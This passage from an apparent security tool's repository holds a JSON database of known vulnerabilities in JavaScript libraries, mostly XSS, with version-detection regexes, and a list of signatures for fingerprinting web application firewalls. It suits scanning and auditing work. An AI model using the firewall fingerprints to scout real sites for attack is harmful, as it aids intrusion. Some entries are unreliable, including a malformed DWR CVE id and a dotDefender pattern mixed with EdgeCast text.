name\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"https://github.com/facebook/react/blob/master/CHANGELOG.md\", \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"16.4.0\", \"below\" : \"16.4.2\",\n\t\t\t\t\"severity\" : \"low\", \n\t\t\t\t\"identifiers\" : { \n\t\t\t\t\t\"CVE\": [ \"CVE-2018-6341\" ],\n\t\t\t\t\t\"summary\":\"potential XSS vulnerability when the attacker controls an attribute name\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"https://github.com/facebook/react/blob/master/CHANGELOG.md\", \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\" : [ \n\t\t\t\t\"react.version\",\n\t\t\t\t\"require('react').version\"\n\t\t\t],\n\t\t\t\"filecontent\" : [\n\t\t\t\t\"/\\\\*\\\\*\\n +\\\\* React \\\\(with addons\\\\) ?v([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\"/\\\\*\\\\*\\n +\\\\* React v([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\"\\\"\\\\./ReactReconciler\\\":[0-9]+,\\\"\\\\./Transaction\\\":[0-9]+,\\\"fbjs/lib/invariant\\\":[0-9]+\\\\}\\\\],[0-9]+:\\\\[function\\\\(require,module,exports\\\\)\\\\{\\\"use strict\\\";module\\\\.exports=\\\"([0-9][0-9.a-z_-]+)\\\"\\\\}\",\n\t\t\t\t\"ReactVersion\\\\.js[\\\\*! \\\\\\\\/\\n\\r]{0,100}function\\\\(e,t\\\\)\\\\{\\\"use strict\\\";e\\\\.exports=\\\"([0-9][0-9.a-z_-]+)\\\"\",\n\t\t\t\t\"expected a ReactNode.[\\\\s\\\\S]{0,1800}?function\\\\(e,t\\\\)\\\\{\\\"use strict\\\";e\\\\.exports=\\\"([0-9][0-9.a-z_-]+)\\\"\"\n\t\t\t]\n\t\t}\n\t},\n\n\t\"flowplayer\" : {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"5.4.3\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": { \"summary\" : \"XSS vulnerability in Flash fallback\" },\n\t\t\t\t\"info\" : [ \"https://github.com/flowplayer/flowplayer/issues/381\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"uri\"\t\t\t    : [ \"flowplayer-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"flowplayer-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\" ]\n\t\t}\n\t},\n\n\t\"DWR\" : {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"1.1.4\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": { \"CVE\" : [ \"CVE-2007-01-09\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2014-5326/\", \"http://www.cvedetails.com/cve/CVE-2014-5326/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"2.0.11\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": { \"CVE\" : [\"CVE-2014-5326\", \"CVE-2014-5325\"] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2014-5326/\", \"http://www.cvedetails.com/cve/CVE-2014-5326/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"above\" : \"3\",\n\t\t\t\t\"below\" : \"3.0.RC3\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": { \"CVE\" : [\"CVE-2014-5326\", \"CVE-2014-5325\"] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2014-5326/\", \"http://www.cvedetails.com/cve/CVE-2014-5326/\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t: [ \"dwr.version\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\" dwr-([0-9][0-9.a-z_-]+).jar\"\n\t\t\t]\n\t\t}\n\t},\n\n\t\"moment.js\" : {\n\t\t\"bowername\": [ \"moment\", \"momentjs\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"2.11.2\",\n\t\t\t\t\"severity\": \"low\",\n\t\t\t\t\"identifiers\": { \"summary\":\"reDOS - regular expression denial of service\" },\n\t\t\t\t\"info\" : [ \"https://github.com/moment/moment/issues/2936\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t: [ \"moment.version\" ],\n\t\t\t\"filecontent\"\t: [ \"//! moment.js(?:[\\n\\r]+)//! version : ([0-9][0-9.a-z_-]+)\" ]\n\t\t}\n\t},\n\n\t\"bootstrap\": {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"4.3.1\",\n\t\t\t\t\"atOrAbove\" : \"4.0.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"28236\",\n\t\t\t\t\t\"summary\": \"XSS in data-template, data-content and data-title properties of tooltip/popover\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2019-8331\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"high\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/28236\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"3.4.1\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"28236\",\n\t\t\t\t\t\"summary\": \"XSS in data-template, data-content and data-title properties of tooltip/popover\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2019-8331\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"high\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/28236\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.1.2\",\n\t\t\t\t\"atOrAbove\" : \"4.0.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"20184\",\n\t\t\t\t\t\"summary\": \"XSS in data-target property of scrollspy\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2018-14041\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/20184\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"3.4.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"20184\",\n\t\t\t\t\t\"summary\": \"XSS in data-target property of scrollspy\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2018-14041\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/20184\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.1.2\",\n\t\t\t\t\"atOrAbove\" : \"4.0.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"20184\",\n\t\t\t\t\t\"summary\": \"XSS in collapse data-parent attribute\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2018-14040\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/20184\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"3.4.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"20184\",\n\t\t\t\t\t\"summary\": \"XSS in collapse data-parent attribute\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2018-14040\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/20184\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.1.2\",\n\t\t\t\t\"atOrAbove\" : \"4.0.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"20184\",\n\t\t\t\t\t\"summary\": \"XSS in data-container property of tooltip\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2018-14042\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/20184\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"3.4.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"20184\",\n\t\t\t\t\t\"summary\": \"XSS in data-container property of tooltip\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2018-14042\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/20184\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"2.1.0\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"cross-site scripting vulnerability\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/pull/3421\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.3.1\",\n\t\t\t\t\"atOrAbove\" : \"4.0.0\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"28236\",\n\t\t\t\t\t\"summary\": \"XSS in data-template, data-content and data-title properties of tooltip/popover\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2019-8331\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"high\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/28236\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"3.4.1\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\" : \"28236\",\n\t\t\t\t\t\"summary\": \"XSS in data-template, data-content and data-title properties of tooltip/popover\",\n\t\t\t\t\t\"CVE\" : [\"CVE-2019-8331\"]\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"high\",\n\t\t\t\t\"info\" : [ \"https://github.com/twbs/bootstrap/issues/28236\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/bootstrap(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"bootstrap-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\t\t\t\t\"/\\\\*!? Bootstrap v([0-9][0-9.a-z_-]+)\", \n\t\t\t\t\t\t\t\t\"\\\\* Bootstrap v([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\t\t\t\t\"/\\\\*! Bootstrap v([0-9][0-9.a-z_-]+)\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\n\t\"ckeditor\" : {\n\t\t\"vulnerabilities\": [\n\t\t\t{\n\t\t\t\t\"below\" : \"4.4.3\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"summary\" : \"XSS\"\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\": [ \"https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-443\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.4.6\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"summary\" : \"XSS\"\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\": [ \"https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-446\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.4.8\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"summary\" : \"XSS\"\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\": [ \"https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-448\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.5.11\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"summary\" : \"XSS\"\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\": [ \"https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-4511\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.9.2\",\n\t\t\t\t\"atOrAbove\" : \"4.5.11\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"summary\" : \"XSS if the enhanced image plugin is installed\"\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\": [ \"https://ckeditor.com/blog/CKEditor-4.9.2-with-a-security-patch-released/\", \"https://ckeditor.com/cke4/release-notes\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"4.0.0\",\n\t\t\t\t\"below\" : \"4.11.0\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"summary\" : \"XSS vulnerability in the HTML parser\"\n\t\t\t\t},\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"info\" : [\n\t\t\t\t\t\"https://ckeditor.com/blog/CKEditor-4.11-with-emoji-dropdown-and-auto-link-on-typing-released/\",\n\t\t\t\t\t\"https://snyk.io/vuln/SNYK-JS-CKEDITOR-72618\"\n\t\t\t\t]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/ckeditor(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"ckeditor-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\t\t\t\t\"ckeditor..js.{4,20}=\\\\{timestamp:\\\"[^\\\"]+\\\",version:\\\"([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\t\t\t\t\"window.CKEDITOR=function\\\\(\\\\)\\\\{var [a-z]=\\\\{timestamp:\\\"[^\\\"]+\\\",version:\\\"([0-9][0-9.a-z_-]+)\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {},\n\t\t\t\"func\"\t\t\t: [ \"CKEDITOR.version\" ]\n\t\t}\n\t},\n\n\n\t\"vue\" : {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"2.5.17\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"summary\" : \"potential xss in ssr when using v-bind\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/vuejs/vue/releases/tag/v2.5.17\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"2.4.3\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"summary\" : \"possible xss vector \"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/vuejs/vue/releases/tag/v2.4.3\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"uri\"\t\t\t: [\n\t\t\t\t\"/vue@([0-9][0-9.a-z_-]+)/dist/vue\\\\.js\"\n\t\t\t],\n\t\t\t\"filename\"\t\t: [ \"vue-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\"/\\\\*!\\\\n * Vue.js v([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\"Vue.version = '([0-9][0-9.a-z_-]+)';\",\n\t\t\t\t\"'([0-9][0-9.a-z_-]+)'[^\\\\n]{0,8000}Vue compiler\"\n\t\t\t],\n\t\t\t\"func\"\t\t\t: [ \"Vue.version\" ]\n\t\t}\n\t},\n\n\t\"ExtJS\" : {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\"       : \"6.6.0\",\n\t\t\t\t\"atOrAbove\"   : \"4.0.0\",\n\t\t\t\t\"severity\"    : \"high\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"CVE\"     : [\n\t\t\t\t\t\t\"CVE-2018-8046\"\n\t\t\t\t\t],\n\t\t\t\t\t\"summary\" : \"XSS in Sencha Ext JS 4 to 6 via getTip() method of Action Columns\"\n\t\t\t\t},\n\t\t\t\t\"info\"        : [\n\t\t\t\t\t\"http://seclists.org/fulldisclosure/2018/Jul/8\",\n\t\t\t\t\t\"https://nvd.nist.gov/vuln/detail/CVE-2018-8046\"\n\t\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\"       : \"6.0.0\",\n\t\t\t\t\"severity\"    : \"high\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"CVE\"     : [\n\t\t\t\t\t\t\"CVE-2007-2285\"\n\t\t\t\t\t],\n\t\t\t\t\t\"summary\" : \"Directory traversal and arbitrary file read\"\n\t\t\t\t},\n\t\t\t\t\"info\"        : [\n\t\t\t\t\t\"https://www.cvedetails.com/cve/CVE-2007-2285/\",\n\t\t\t\t\t\"https://packetstormsecurity.com/files/132052/extjs-Arbitrary-File-Read.html\",\n\t\t\t\t\t\"https://www.akawebdesign.com/2018/08/14/should-js-frameworks-prevent-xss/\"\n\t\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\"       : \"4.0.0\",\n\t\t\t\t\"atOrAbove\"   : \"3.0.0\",\n\t\t\t\t\"severity\"    : \"high\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"CVE\"     : [\n\t\t\t\t\t\t\"CVE-2010-4207\",\n\t\t\t\t\t\t\"CVE-2012-5881\"\n\t\t\t\t\t],\n\t\t\t\t\t\"summary\" : \"XSS vulnerability in ExtJS charts.swf\"\n\t\t\t\t},\n\t\t\t\t\"info\"        : [\n\t\t\t\t\t\"https://www.acunetix.com/vulnerabilities/web/extjs-charts-swf-cross-site-scripting\",\n\t\t\t\t\t\"https://typo3.org/security/advisory/typo3-core-sa-2014-001/\",\n\t\t\t\t\t\"https://www.akawebdesign.com/2018/08/14/should-js-frameworks-prevent-xss/\"\n\t\t\t\t]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"uri\" : [\n\t\t\t\t\"/extjs/([0-9][0-9.a-z_-]+)/.*\\\\.js\"\n\t\t\t],\n\t\t\t\"filename\" : [\n\t\t\t\t\"/ext-all-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\",\n\t\t\t\t\"/ext-all-debug-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\",\n\t\t\t\t\"/ext-base-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\"\n\t\t\t],\n\t\t\t\"filecontent\" : [\n\t\t\t\t\"/*!\\n * Ext JS Library ([0-9][0-9.a-z_-]+)\"\n\t\t\t],\n\t\t\t\"func\"     : [\n\t\t\t\t\"Ext && Ext.versions && Ext.versions.extjs.version\",\n\t\t\t\t\"Ext && Ext.version\"\n\t\t\t]\n\t\t}\n\t},\n\n\n\t\"dont check\" : {\n\t\t\"extractors\" : {\n\t\t\t\"uri\" : [\n\t\t\t\t\"^http[s]?://(ssl|www).google-analytics.com/ga.js\",\n\t\t\t\t\"^http[s]?://apis.google.com/js/plusone.js\",\n\t\t\t\t\"^http[s]?://cdn.cxense.com/cx.js\"\n\t\t\t]\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "db/wafSignatures.json",
    "content": "{\n\t\"360 Web Application Firewall (360)\" : {\n\t\t\"code\" : \"493\",\n\t\t\"page\" : \"/wzws-waf-cgi/\",\n\t\t\"headers\" : \"X-Powered-By-360wzb\"\n\t},\n\t\"aeSecure\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"aesecure_denied.png\",\n\t\t\"headers\" : \"aeSecure-code\"\n\t},\n\t\"Airlock (Phion/Ergon)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"AL[_-]?(SESS|LB)\"\n\t},\n\t\"Anquanbao Web Application Firewall (Anquanbao)\" : {\n\t\t\"code\" : \"405\",\n\t\t\"page\" : \"/aqb_cc/error/|hidden_intercept_time\",\n\t\t\"headers\" : \"X-Powered-By-Anquanbao\"\n\t},\n\t\"Armor Protection (Armor Defense)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"This request has been blocked by website protection from Armor\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"Application Security Manager (F5 Networks)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"The requested URL was rejected\\\\. Please consult with your administrator\\\\.\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"Amazon Web Services Web Application Firewall (Amazon)\" : {\n\t\t\"code\" : \"403\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"\\\\bAWS\"\n\t},\n\t\"Yunjiasu Web Application Firewall (Baidu)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"yunjiasu-nginx\"\n\t},\n\t\"Barracuda Web Application Firewall (Barracuda Networks)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"barra_counter_session=|(|\\\\b)barracuda_\"\n\t},\n\t\"BIG-IP Application Security Manager (F5 Networks)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"BigIP|F5\\\\Z|\\\\bTS[0-9a-f]+=|X-WA-Info:|X-Cnection:\"\n\t},\n\t\"BinarySEC Web Application Firewall (BinarySEC)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"binarysec\"\n\t},\n\t\"BlockDoS\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"BlockDos\\\\.net\"\n\t},\n\t\"ChinaCache (ChinaCache Networks)\" : {\n\t\t\"code\" : \"400\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"Powered-By-ChinaCache\"\n\t},\n\t\"Cisco ACE XML Gateway (Cisco Systems)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"ACE XML Gateway\"\n\t},\n\t\"Cloudbric Web Application Firewall (Cloudbric)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"Cloudbric|Malicious Code Detected\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"CloudFlare Web Application Firewall (CloudFlare)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"Attention Required! \\\\| Cloudflare|CloudFlare Ray ID:|var CloudFlare=|CLOUDFLARE_ERROR_500S_BOX\",\n\t\t\"headers\" : \"cloudflare|__cfduid=|cf-ray\"\n\t},\n\t\"CloudFront (Amazon)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"Error from cloudfront\"\n\t},\n\t\"Comodo Web Application Firewall (Comodo)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"Protected by COMODO WAF\"\n\t},\n\t\"CrawlProtect (Jean-Denis Brun)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"This site is protected by CrawlProtect\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"IBM WebSphere DataPower (IBM)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"X-Backside-Transport.*?(OK|FAIL)\"\n\t},\n\t\"Deny All Web Application Firewall (DenyAll)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"Condition Intercepted\",\n\t\t\"headers\" : \"sessioncookie\"\n\t},\n\t\"Distil Web Application Firewall Security (Distil Networks)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"x-distil-cs\"\n\t},\n\t\"DOSarrest (DOSarrest Internet Security)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"DOSarrest|X-DIS-Request-ID\"\n\t},\n\t\"dotDefender (Applicure Technologies)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"dotDefender Blocked Your Request|<meta name=\\\\.description\\\\. content=\\\\.Applicure is the leading provider of web application security|Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon)\",\n\t\t\"headers\" : \"X-dotDefender-denied\"\n\t},\n\t\"EdgeCast Web Application Firewall (Verizon)\" : {\n\t\t\"code\" : \"400\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"SERVER.*?ECDF\"\n\t},\n\t\"ExpressionEngine (EllisLab)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"Invalid (GET|POST) Data\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"FortiWeb Web Application Firewall (Fortinet)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\\\\.fgd_icon|\\\\.blocked|\\\\.authenticate\",\n\t\t\"headers\" : \"FORTIWAFSID=|cookiesession1=\"\n\t},\n\t\"Hyperguard Web Application Firewall (art of defence)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"ODSESSION=\"\n\t},\n\t\"Incapsula Web Application Firewall (Incapsula/Imperva)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"Incapsula incident ID|_Incapsula_Resource|subject=WAF Block Page|If you feel you have been blocked in error, please contact Customer Support\",\n\t\t\"headers\" : \"X-Iinfo|incap_ses|visid_incap\"\n\t},\n\t\"ISA Server (Microsoft)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"The server denied the specified Uniform Resource Locator (URL)\\\\. Contact the server administrator\\\\.\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"Jiasule Web Application Firewall (Jiasule)\" : {\n\t\t\"code\" : \"403\",\n\t\t\"page\" : \"static\\\\.jiasule\\\\.com/static/js/http_error\\\\.js|notice-jiasule\",\n\t\t\"headers\" : \"jiasule-WAF|__jsluid=|jsl_tracking\"\n\t},\n\t\"KS-WAF (Knownsec)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"ks-waf-error\\\\.png'\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"KONA Security Solutions (Akamai Technologies)\" : {\n\t\t\"code\" : \"400|403|501\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"AkamaiGHost\"\n\t},\n\t\"ModSecurity: Open Source Web Application Firewall (Trustwave)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"This error was generated by Mod_Security|One or more things in your request were suspicious|rules of the mod_security module\",\n\t\t\"headers\" : \"Mod_Security|NOYB\"\n\t},\n\t\"NAXSI (NBS System)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"naxsi/waf\"\n\t},\n\t\"NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"NCI__SessionId=\"\n\t},\n\t\"NetScaler (Citrix Systems)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"ns_af=|citrix_ns_id|NSC_|NS-CACHE\"\n\t},\n\t\"Newdefend Web Application Firewall (Newdefend)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"newdefend\"\n\t},\n\t\"NSFOCUS Web Application Firewall (NSFOCUS)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"NSFocus\"\n\t},\n\t\"Palo Alto Firewall (Palo Alto Networks)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"has been blocked in accordance with company policy\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"Profense Web Application Firewall (Armorlogic)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"PLBSID=|Profense\"\n\t},\n\t\"AppWall (Radware)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"Unauthorized Activity Has Been Detected.*?Case Number:\",\n\t\t\"headers\" : \"X-SL-CompState\"\n\t},\n\t\"Reblaze Web Application Firewall (Reblaze)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"rbzid=|Reblaze Secure Web Gateway\"\n\t},\n\t\"ASP.NET RequestValidationMode (Microsoft)\" : {\n\t\t\"code\" : \"500\",\n\t\t\"page\" : \"ASP\\\\.NET has detected data in the request that is potentially dangerous|Request Validation has detected a potentially dangerous client input value|HttpRequestValidationException\",\n\t\t\"headers\" : \"\"\n\t},\n\t\"Safe3 Web Application Firewall\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"Safe3\"\n\t},\n\t\"Safedog Web Application Firewall (Safedog)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : \"\",\n\t\t\"headers\" : \"WAF/2\\\\.0|safedog\"\n\t},\n\t\"SecureIIS Web Server Security (BeyondTrust)\" : {\n\t\t\"code\" : \"\",\n\t\t\"page\" : 